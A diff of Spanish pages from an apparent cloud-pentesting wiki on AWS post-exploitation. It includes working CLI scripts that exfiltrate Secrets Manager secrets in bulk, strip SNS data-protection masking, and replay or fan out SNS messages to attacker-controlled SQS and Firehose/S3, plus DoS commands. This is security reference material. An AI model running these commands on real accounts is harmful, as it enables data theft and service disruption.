+Esperado: risk_score devuelve 0.99 (establecido por el atacante), demostrando la capacidad de cambiar características en línea consumidas por modelos.
+
+## Impacto
+- Ataque de integridad en tiempo real: manipular características usadas por modelos en producción sin tocar endpoints/models.
+- Riesgo de confidencialidad: leer características sensibles vía GetRecord desde OnlineStore.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md

@@ -1,22 +1,22 @@
 # AWS - Secrets Manager Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Secrets Manager
 
 Para más información consulta:
 
 {{#ref}}
-../aws-services/aws-secrets-manager-enum.md
+../../aws-services/aws-secrets-manager-enum.md
 {{#endref}}
 
-### Leer Secrets
+### Read Secrets
 
-Los **secrets** son información sensible; [consulta la página de privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md) para aprender cómo leerlos.
+Los **secrets en sí mismos son información sensible**, [consulta la página de privesc](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) para aprender cómo leerlos.
 
-### DoS - Cambiar el valor del secret
+### DoS Change Secret Value
 
-Al cambiar el valor del secret podrías **DoS a todos los sistemas que dependen de ese valor.**
+Al cambiar el valor del secret podrías **DoS todos los sistemas que dependen de ese valor.**
 
 > [!WARNING]
 > Ten en cuenta que los valores anteriores también se almacenan, por lo que es fácil volver al valor anterior.
@@ -28,11 +28,11 @@ aws secretsmanager put-secret-value \
 ```
 ### DoS Change KMS key
 
-Si el atacante tiene el permiso secretsmanager:UpdateSecret, puede configurar el secreto para que use una KMS key propiedad del atacante. Esa clave se configura inicialmente de modo que cualquiera pueda acceder y usarla, por lo que es posible actualizar el secreto con la nueva clave. Si la clave no fuera accesible, no se podría actualizar el secreto.
+Si el atacante tiene el permiso secretsmanager:UpdateSecret, puede configurar el secret para que use una KMS key propiedad del atacante. Esa key se configura inicialmente de forma que cualquiera puede acceder y usarla, por lo que es posible actualizar el secret con la nueva key. Si la key no fuese accesible, no se podría actualizar el secret.
 
-Después de cambiar la clave del secreto, el atacante modifica la configuración de su clave para que solo él pueda acceder a ella. De esta manera, en las versiones subsecuentes del secreto, estará cifrado con la nueva clave y, al no haber acceso a ésta, se perdería la posibilidad de recuperar el secreto.
+Tras cambiar la key del secret, el atacante modifica la configuración de su key para que solo él pueda acceder a ella. De este modo, en las versiones posteriores del secret se cifrará con la nueva key y, al no existir acceso a ella, se perdería la capacidad de recuperar el secret.
 
-Es importante señalar que esta inaccesibilidad solo ocurrirá en versiones posteriores, tras el cambio del contenido del secreto, ya que la versión actual sigue estando cifrada con la KMS key original.
+Es importante notar que esta inaccesibilidad solo ocurrirá en versiones posteriores, después de que cambie el contenido del secret, ya que la versión actual sigue cifrada con la KMS key original.
 ```bash
 aws secretsmanager update-secret \
 --secret-id MyTestSecret \
@@ -40,7 +40,7 @@ aws secretsmanager update-secret \
 ```
 ### DoS Deleting Secret
 
-El número mínimo de días para eliminar un secret es 7
+El número mínimo de días para eliminar un secreto es 7.
 ```bash
 aws secretsmanager delete-secret \
 --secret-id MyTestSecret \
@@ -48,7 +48,7 @@ aws secretsmanager delete-secret \
 ```
 ## secretsmanager:RestoreSecret
 
-Es posible restaurar un secreto, lo que permite la recuperación de secretos que han sido programados para eliminación, ya que el periodo mínimo de eliminación para secretos es de 7 días y el máximo es de 30 días. Junto con el permiso secretsmanager:GetSecretValue, esto permite recuperar sus contenidos.
+Es posible restaurar un secreto, lo que permite recuperar secretos que han sido programados para eliminación, ya que el periodo mínimo de eliminación para secretos es de 7 días y el máximo es de 30 días. Junto con el permiso secretsmanager:GetSecretValue, esto permite recuperar su contenido.
 
 Para recuperar un secreto que está en proceso de eliminación, puedes usar el siguiente comando:
 ```bash
@@ -57,20 +57,20 @@ aws secretsmanager restore-secret \
 ```
 ## secretsmanager:DeleteResourcePolicy
 
-Esta acción permite eliminar la política de recursos que controla quién puede acceder a un secreto. Esto podría provocar un DoS si la política de recursos estaba configurada para permitir el acceso a un conjunto específico de usuarios.
+Esta acción permite eliminar la resource policy que controla quién puede acceder a un secret. Esto podría provocar un DoS si la resource policy se configuró para permitir el acceso a un conjunto específico de usuarios.
 
-Para eliminar la política de recursos:
+Para eliminar la resource policy:
 ```bash
 aws secretsmanager delete-resource-policy \
 --secret-id <Secret_Name>
 ```
 ## secretsmanager:UpdateSecretVersionStage
 
-Los estados de un secreto se usan para gestionar las versiones de un secreto. AWSCURRENT marca la versión activa que usan las aplicaciones, AWSPREVIOUS conserva la versión anterior para que puedas volver atrás si es necesario, y AWSPENDING se usa en el proceso de rotación para preparar y validar una nueva versión antes de convertirla en la actual.
+Los estados de un secreto se usan para gestionar sus versiones. AWSCURRENT marca la versión activa que usan las aplicaciones, AWSPREVIOUS mantiene la versión anterior para que puedas revertir si es necesario, y AWSPENDING se usa en el proceso de rotación para preparar y validar una nueva versión antes de convertirla en la actual.
 
 Las aplicaciones siempre leen la versión con AWSCURRENT. Si alguien mueve esa etiqueta a la versión equivocada, las aplicaciones usarán credenciales inválidas y pueden fallar.
 
-AWSPREVIOUS no se usa automáticamente. Sin embargo, si AWSCURRENT se elimina o reasigna incorrectamente, puede parecer que todo sigue funcionando con la versión anterior.
+AWSPREVIOUS no se usa automáticamente. Sin embargo, si AWSCURRENT se elimina o se reasigna incorrectamente, puede parecer que todo sigue funcionando con la versión anterior.
 ```bash
 aws secretsmanager update-secret-version-stage \
 --secret-id <your-secret-name-or-arn> \
@@ -78,7 +78,7 @@ aws secretsmanager update-secret-version-stage \
 --move-to-version-id <target-version-id> \
 --remove-from-version-id <previous-version-id>
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ### Exfiltración masiva de secretos mediante BatchGetSecretValue (hasta 20 por llamada)
 
@@ -86,12 +86,12 @@ Abusa de la API Secrets Manager BatchGetSecretValue para recuperar hasta 20 secr
 
 Permisos requeridos
 - secretsmanager:BatchGetSecretValue
-- secretsmanager:GetSecretValue para cada secret objetivo
+- secretsmanager:GetSecretValue para cada secreto objetivo
 - secretsmanager:ListSecrets si se usan --filters
-- kms:Decrypt en las CMKs usadas por los secretos (si no se usa aws/secretsmanager)
+- kms:Decrypt sobre las CMKs usadas por los secretos (si no se usa aws/secretsmanager)
 
 > [!WARNING]
-> Ten en cuenta que el permiso `secretsmanager:BatchGetSecretValue` no es suficiente por sí solo para recuperar secretos; también necesitas `secretsmanager:GetSecretValue` para cada secreto que quieras recuperar.
+> Ten en cuenta que el permiso `secretsmanager:BatchGetSecretValue` no es suficiente para recuperar secretos; también necesitas `secretsmanager:GetSecretValue` para cada secreto que quieras recuperar.
 
 Exfiltrar mediante lista explícita
 ```bash
@@ -99,7 +99,7 @@ aws secretsmanager batch-get-secret-value \
 --secret-id-list <secret1> <secret2> <secret3> \
 --query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
 ```
-Exfiltrate por filtros (tag key/value o name prefix)
+Exfiltrate por filtros (tag key/value o prefijo de nombre)
 ```bash
 # By tag key
 aws secretsmanager batch-get-secret-value \
@@ -122,5 +122,5 @@ Manejo de fallos parciales
 aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
 ```
 Impacto
-- Extracción rápida “smash-and-grab” de muchos secretos con menos llamadas a la API, potencialmente eludiendo alertas ajustadas a picos de GetSecretValue.
-- Los registros de CloudTrail todavía incluyen un evento GetSecretValue por cada secreto recuperado por el lote.
+- Rápido “smash-and-grab” de muchos secrets con menos llamadas a la API, potencialmente eludiendo las alertas configuradas para picos de GetSecretValue.
+- Los registros de CloudTrail aún incluyen un evento GetSecretValue por secret recuperado por el batch.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md

@@ -1,13 +1,13 @@
-# AWS - SES Post Explotación
+# AWS - SES Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## SES
 
 Para más información consulta:
 
 {{#ref}}
-../aws-services/aws-ses-enum.md
+../../aws-services/aws-ses-enum.md
 {{#endref}}
 
 ### `ses:SendEmail`
@@ -25,15 +25,19 @@ Enviar un correo electrónico.
 ```bash
 aws ses send-raw-email --raw-message file://message.json
 ```
+Aún por probar.
+
 ### `ses:SendTemplatedEmail`
 
-Envía un correo electrónico basado en una plantilla.
+Enviar un correo electrónico basado en una plantilla.
 ```bash
 aws ses  send-templated-email --source <value> --destination <value> --template <value>
 ```
+Aún por probar.
+
 ### `ses:SendBulkTemplatedEmail`
 
-Envía un correo electrónico a múltiples destinos
+Enviar un correo electrónico a múltiples destinatarios
 ```bash
 aws ses send-bulk-templated-email --source <value> --template <value>
 ```
@@ -41,23 +45,25 @@ Aún por probar.
 
 ### `ses:SendBulkEmail`
 
-Envía un correo electrónico a múltiples destinos.
+Enviar un correo electrónico a múltiples destinatarios.
 ```
 aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
 ```
 ### `ses:SendBounce`
 
-Enviar un **correo de rebote** sobre un correo recibido (indicando que el correo no pudo ser recibido). Esto solo se puede hacer **hasta 24 horas después de recibir** el correo.
+Enviar un **bounce email** sobre un correo recibido (indicando que el correo no pudo ser entregado). Esto solo puede hacerse **hasta 24 horas después de recibir** el correo.
 ```bash
 aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
 ```
+Aún por probar.
+
 ### `ses:SendCustomVerificationEmail`
 
-Esto enviará un correo electrónico de verificación personalizado. Es posible que también necesites permisos para crear la plantilla de correo electrónico.
+Esto enviará un correo electrónico de verificación personalizado. Es posible que también necesites permisos para crear la plantilla de correo.
 ```bash
 aws ses send-custom-verification-email --email-address <value> --template-name <value>
 aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
 ```
 Aún por probar.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md

@@ -1,68 +0,0 @@
-# AWS - SNS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-Para más información:
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### Interrumpir Mensajes
-
-En varios casos, los temas de SNS se utilizan para enviar mensajes a plataformas que están siendo monitoreadas (correos electrónicos, mensajes de slack...). Si un atacante impide el envío de los mensajes que alertan sobre su presencia en la nube, podría permanecer indetectado.
-
-### `sns:DeleteTopic`
-
-Un atacante podría eliminar un tema completo de SNS, causando pérdida de mensajes e impactando aplicaciones que dependen del tema.
-```bash
-aws sns delete-topic --topic-arn <value>
-```
-**Impacto Potencial**: Pérdida de mensajes y interrupción del servicio para aplicaciones que utilizan el tema eliminado.
-
-### `sns:Publish`
-
-Un atacante podría enviar mensajes maliciosos o no deseados al tema de SNS, lo que podría causar corrupción de datos, activar acciones no intencionadas o agotar recursos.
-```bash
-aws sns publish --topic-arn <value> --message <value>
-```
-**Impacto Potencial**: Corrupción de datos, acciones no intencionadas o agotamiento de recursos.
-
-### `sns:SetTopicAttributes`
-
-Un atacante podría modificar los atributos de un tema de SNS, afectando potencialmente su rendimiento, seguridad o disponibilidad.
-```bash
-aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
-```
-**Impacto Potencial**: Configuraciones incorrectas que conducen a un rendimiento degradado, problemas de seguridad o disponibilidad reducida.
-
-### `sns:Subscribe` , `sns:Unsubscribe`
-
-Un atacante podría suscribirse o darse de baja de un tema de SNS, lo que podría permitir el acceso no autorizado a mensajes o interrumpir el funcionamiento normal de las aplicaciones que dependen del tema.
-```bash
-aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
-aws sns unsubscribe --subscription-arn <value>
-```
-**Impacto Potencial**: Acceso no autorizado a mensajes, interrupción del servicio para aplicaciones que dependen del tema afectado.
-
-### `sns:AddPermission` , `sns:RemovePermission`
-
-Un atacante podría otorgar acceso a usuarios o servicios no autorizados a un tema de SNS, o revocar permisos para usuarios legítimos, causando interrupciones en el funcionamiento normal de las aplicaciones que dependen del tema.
-```css
-aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
-aws sns remove-permission --topic-arn <value> --label <value>
-```
-**Impacto Potencial**: Acceso no autorizado al tema, exposición de mensajes o manipulación del tema por usuarios o servicios no autorizados, interrupción del funcionamiento normal de las aplicaciones que dependen del tema.
-
-### `sns:TagResource`, `sns:UntagResource`
-
-Un atacante podría agregar, modificar o eliminar etiquetas de los recursos de SNS, interrumpiendo la asignación de costos de su organización, el seguimiento de recursos y las políticas de control de acceso basadas en etiquetas.
-```bash
-aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
-aws sns untag-resource --resource-arn <value> --tag-keys <key>
-```
-**Impacto Potencial**: Disrupción de la asignación de costos, seguimiento de recursos y políticas de control de acceso basadas en etiquetas.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md

@@ -0,0 +1,82 @@
+# AWS - SNS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+Para más información:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### Interrumpir mensajes
+
+En varios casos, los SNS topics se usan para enviar mensajes a plataformas que están siendo monitorizadas (correos electrónicos, slack messages...). Si un atacante impide el envío de los mensajes que alertan sobre su presencia en la nube, podría permanecer sin ser detectado.
+
+### `sns:DeleteTopic`
+
+Un atacante podría eliminar un SNS topic entero, provocando pérdida de mensajes e impactando aplicaciones que dependen de dicho topic.
+```bash
+aws sns delete-topic --topic-arn <value>
+```
+**Impacto potencial**: Pérdida de mensajes e interrupción del servicio para las aplicaciones que usan el topic eliminado.
+
+### `sns:Publish`
+
+Un atacante podría enviar mensajes maliciosos o no deseados al topic de SNS, potencialmente provocando corrupción de datos, desencadenando acciones no deseadas o agotando recursos.
+```bash
+aws sns publish --topic-arn <value> --message <value>
+```
+**Impacto potencial**: Corrupción de datos, acciones no intencionadas o agotamiento de recursos.
+
+### `sns:SetTopicAttributes`
+
+Un atacante podría modificar los atributos de un SNS topic, afectando potencialmente su rendimiento, seguridad o disponibilidad.
+```bash
+aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
+```
+**Impacto potencial**: Misconfiguraciones que pueden provocar degradación del rendimiento, problemas de seguridad o disminución de la disponibilidad.
+
+### `sns:Subscribe` , `sns:Unsubscribe`
+
+Un atacante podría suscribirse o anular la suscripción a un tema de SNS, obteniendo potencialmente acceso no autorizado a los mensajes o interrumpiendo el funcionamiento normal de las aplicaciones que dependen del tema.
+```bash
+aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
+aws sns unsubscribe --subscription-arn <value>
+```
+**Impacto potencial**: Acceso no autorizado a mensajes, interrupción del servicio para aplicaciones que dependen del topic afectado.
+
+### `sns:AddPermission` , `sns:RemovePermission`
+
+Un atacante podría otorgar a usuarios o servicios no autorizados acceso a un SNS topic, o revocar permisos a usuarios legítimos, causando interrupciones en el funcionamiento normal de las aplicaciones que dependen del topic.
+```bash
+aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
+aws sns remove-permission --topic-arn <value> --label <value>
+```
+**Impacto potencial**: Acceso no autorizado al topic, exposición de mensajes o manipulación del topic por usuarios o servicios no autorizados, interrupción del funcionamiento normal de las aplicaciones que dependen del topic.
+
+### `sns:TagResource` , `sns:UntagResource`
+
+Un atacante podría agregar, modificar o eliminar etiquetas de los recursos de SNS, interrumpiendo la asignación de costos de su organización, el seguimiento de recursos y las políticas de control de acceso basadas en etiquetas.
+```bash
+aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
+aws sns untag-resource --resource-arn <value> --tag-keys <key>
+```
+**Impacto potencial**: Interrupción de la asignación de costos, el seguimiento de recursos y las políticas de control de acceso basadas en etiquetas.
+
+### Más SNS Post-Exploitation Techniques
+
+{{#ref}}
+aws-sns-data-protection-bypass.md
+{{#endref}}
+
+{{#ref}}
+aws-sns-fifo-replay-exfil.md
+{{#endref}}
+
+{{#ref}}
+aws-sns-firehose-exfil.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md

@@ -0,0 +1,92 @@
+# AWS - SNS Message Data Protection Bypass mediante degradación de la política
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Si tienes `sns:PutDataProtectionPolicy` sobre un topic, puedes cambiar su política de Message Data Protection de Deidentify/Deny a Audit-only (o eliminar los controles Outbound) para que valores sensibles (p. ej., números de tarjeta de crédito) se entreguen sin modificar a tu suscripción.
+
+## Requisitos
+- Permisos sobre el topic objetivo para ejecutar `sns:PutDataProtectionPolicy` (y normalmente `sns:Subscribe` si quieres recibir los datos).
+- Standard SNS topic (Message Data Protection soportado).
+
+## Pasos del ataque
+
+- Variables
+
+```bash
+REGION=us-east-1
+```
+
+1) Crea un topic standard y una SQS del atacante, y permite solo a este topic enviar a la cola
+
+```bash
+TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
+Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
+```
+
+2) Adjunta una data protection policy que enmascare números de tarjeta de crédito en los mensajes salientes
+
+```bash
+cat > /tmp/ht-dlp-policy.json <<'JSON'
+{
+"Name": "__ht_dlp_policy",
+"Version": "2021-06-01",
+"Statement": [{
+"Sid": "MaskCCOutbound",
+"Principal": ["*"],
+"DataDirection": "Outbound",
+"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
+"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
+}]
+}
+JSON
+aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
+```
+
+3) Suscribe la cola del atacante y publica un mensaje con un número de tarjeta de prueba, verifica el enmascaramiento
+
+```bash
+SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
+aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
+```
+
+Excerpt esperado muestra enmascaramiento (hashes):
+```json
+"Message" : "payment:{cc:################}"
+```
+4) Degradar la política a solo auditoría (sin declaraciones de deidentify/deny que afecten Outbound)
+
+Para SNS, las declaraciones Audit deben ser Inbound. Reemplazar la política por una declaración Inbound de solo auditoría elimina cualquier de-identificación Outbound, por lo que los mensajes fluyen sin modificar hacia los suscriptores.
+```bash
+cat > /tmp/ht-dlp-audit-only.json <<'JSON'
+{
+"Name": "__ht_dlp_policy",
+"Version": "2021-06-01",
+"Statement": [{
+"Sid": "AuditInbound",
+"Principal": ["*"],
+"DataDirection": "Inbound",
+"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
+"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
+}]
+}
+JSON
+aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
+```
+
+5) Publica el mismo mensaje y verifica que el valor sin enmascarar se entregue
+```bash
+aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
+```
+Expected excerpt shows cleartext CC:
+```text
+4539894458086459
+```
+## Impacto
+- Cambiar un topic de de-identification/deny a audit-only (o, de otro modo, eliminar los Outbound controls) permite que PII/secrets pasen sin modificar a attacker-controlled subscriptions, habilitando data exfiltration que de otro modo sería enmascarada o bloqueada.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md

@@ -0,0 +1,100 @@
+# SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Abuso del archivado de mensajes de topics Amazon SNS FIFO para replay y exfiltrate mensajes previamente publicados a una SQS FIFO controlada por el atacante estableciendo la suscripción ReplayPolicy.
+
+- Service: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
+- Requirements: El topic debe tener `ArchivePolicy` habilitado (archivado de mensajes). El atacante puede Subscribe al topic y establecer atributos en su subscription. El atacante controla una SQS FIFO queue y permite que el topic envíe mensajes.
+- Impact: Mensajes históricos (publicados antes de la suscripción) pueden ser entregados al endpoint del atacante. Las entregas replayed se marcan con Replayed=true en el sobre de SNS.
+
+## Precondiciones
+- SNS FIFO topic con archivado habilitado: `ArchivePolicy` (por ejemplo, `{ "MessageRetentionPeriod": "2" }` para 2 días).
+- El atacante tiene permisos para:
+  - `sns:Subscribe` en el topic objetivo.
+  - `sns:SetSubscriptionAttributes` en la subscription creada.
+- El atacante tiene una SQS FIFO queue y puede adjuntar una queue policy que permita `sns:SendMessage` desde el topic ARN.
+
+## Permisos IAM mínimos
+- En el topic: `sns:Subscribe`.
+- En la subscription: `sns:SetSubscriptionAttributes`.
+- En la queue: `sqs:SetQueueAttributes` para la policy, y una queue policy que permita `sns:SendMessage` desde el topic ARN.
+
+## Attack: Replay archived messages to attacker SQS FIFO
+El atacante subscribe su SQS FIFO queue al victim SNS FIFO topic, luego establece el `ReplayPolicy` a una marca de tiempo en el pasado (dentro de la ventana de retención del archive). SNS reproduce inmediatamente los mensajes archivados coincidentes a la nueva subscription y los marca con `Replayed=true`.
+
+Notas:
+- La marca de tiempo usada en `ReplayPolicy` debe ser >= el `BeginningArchiveTime` del topic. Si es anterior, la API devuelve `Invalid StartingPoint value`.
+- Para SNS FIFO `Publish`, debe especificar un `MessageGroupId` (y o bien un dedup ID o habilitar `ContentBasedDeduplication`).
+
+<details>
+<summary>End-to-end CLI POC (us-east-1)</summary>
+```bash
+REGION=us-east-1
+# Compute a starting point; adjust later to >= BeginningArchiveTime if needed
+TS_START=$(python3 - << 'PY'
+from datetime import datetime, timezone, timedelta
+print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ'))
+PY
+)
+
+# 1) Create SNS FIFO topic with archiving (2-day retention)
+TOPIC_NAME=htreplay$(date +%s).fifo
+TOPIC_ARN=$(aws sns create-topic --region "$REGION" \
+--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \
+--query TopicArn --output text)
+
+echo "Topic: $TOPIC_ARN"
+
+# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
+for i in $(seq 1 3); do
+aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \
+--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \
+--message-group-id g1 >/dev/null
+done
+
+# 3) Create attacker SQS FIFO queue and allow only this topic to send
+Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \
+--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \
+--attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+cat > /tmp/ht-replay-sqs-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$TOPIC_ARN"}}}]}
+JSON
+# Use CLI input JSON to avoid quoting issues
+aws sqs set-queue-attributes --region "$REGION" --cli-input-json "$(python3 - << 'PY'
+import json, os
+print(json.dumps({
+'QueueUrl': os.environ['Q_URL'],
+'Attributes': {'Policy': open('/tmp/ht-replay-sqs-policy.json').read()}
+}))
+PY
+)"
+
+# 4) Subscribe the queue to the topic
+SUB_ARN=$(aws sns subscribe --region "$REGION" --topic-arn "$TOPIC_ARN" \
+--protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
+
+echo "Subscription: $SUB_ARN"
+
+# 5) Ensure StartingPoint is >= BeginningArchiveTime
+BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text)
+START=${TS_START}
+if [ -n "$BEGIN" ]; then START="$BEGIN"; fi
+
+aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \
+--attribute-name ReplayPolicy \
+--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}"
+
+# 6) Receive replayed messages (note Replayed=true in the SNS envelope)
+aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \
+--max-number-of-messages 10 --wait-time-seconds 10 \
+--message-attribute-names All --attribute-names All
+```
+</details>
+
+## Impacto
+**Impacto potencial**: Un atacante que pueda suscribirse a un SNS FIFO topic con archiving enabled y establecer `ReplayPolicy` en su suscripción puede inmediatamente replay y exfiltrate mensajes históricos publicados en ese topic, no solo los mensajes enviados después de que se creó la suscripción. Los mensajes entregados incluyen una marca `Replayed=true` en el SNS envelope.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md

@@ -0,0 +1,76 @@
+# AWS - SNS a Kinesis Firehose Exfiltration (Fanout a S3)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Abusar del protocolo de suscripción de Firehose para registrar un Kinesis Data Firehose delivery stream controlado por el atacante en un topic estándar de SNS de la víctima. Una vez que la suscripción está en su lugar y el rol IAM requerido confía en `sns.amazonaws.com`, cada notificación futura se escribe de forma duradera en el bucket S3 del atacante con ruido mínimo.
+
+## Requisitos
+- Permisos en la cuenta del atacante para crear un bucket S3, Firehose delivery stream, y el rol IAM usado por Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, etc.).
+- La capacidad de `sns:Subscribe` al topic de la víctima (y opcionalmente `sns:SetSubscriptionAttributes` si el subscription role ARN se proporciona después de la creación).
+- Una topic policy que permita al principal atacante suscribirse (o que el atacante ya opere dentro de la misma cuenta).
+
+## Pasos del ataque (ejemplo en la misma cuenta)
+```bash
+REGION=us-east-1
+ACC_ID=$(aws sts get-caller-identity --query Account --output text)
+SUFFIX=$(date +%s)
+
+# 1) Create attacker S3 bucket and Firehose delivery stream
+ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX
+aws s3 mb s3://$ATTACKER_BUCKET --region $REGION
+
+STREAM_NAME=ht-firehose-stream-$SUFFIX
+FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX
+
+# Role Firehose assumes to write into the bucket
+aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{
+"Version": "2012-10-17",
+"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}]
+}'
+
+cat > /tmp/firehose-s3-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:AbortMultipartUpload","s3:GetBucketLocation","s3:GetObject","s3:ListBucket","s3:ListBucketMultipartUploads","s3:PutObject"],"Resource":["arn:aws:s3:::$ATTACKER_BUCKET","arn:aws:s3:::$ATTACKER_BUCKET/*"]}]}
+JSON
+aws iam put-role-policy --role-name "$FIREHOSE_ROLE_NAME" --policy-name AllowS3Writes --policy-document file:///tmp/firehose-s3-policy.json
+
+aws firehose create-delivery-stream \
+--delivery-stream-name "$STREAM_NAME" \
+--delivery-stream-type DirectPut \
+--s3-destination-configuration RoleARN=arn:aws:iam::$ACC_ID:role/$FIREHOSE_ROLE_NAME,BucketARN=arn:aws:s3:::$ATTACKER_BUCKET \
+--region $REGION >/dev/null
+
+# 2) IAM role SNS assumes when delivering into Firehose
+SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX
+aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{
+"Version": "2012-10-17",
+"Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}]
+}'
+
+cat > /tmp/allow-firehose.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["firehose:PutRecord","firehose:PutRecordBatch"],"Resource":"arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME"}]}
+JSON
+aws iam put-role-policy --role-name "$SNS_ROLE_NAME" --policy-name AllowFirehoseWrites --policy-document file:///tmp/allow-firehose.json
+
+SNS_ROLE_ARN=arn:aws:iam::$ACC_ID:role/$SNS_ROLE_NAME
+
+# 3) Subscribe Firehose to the victim topic
+TOPIC_ARN=<VICTIM_TOPIC_ARN>
+aws sns subscribe \
+--topic-arn "$TOPIC_ARN" \
+--protocol firehose \
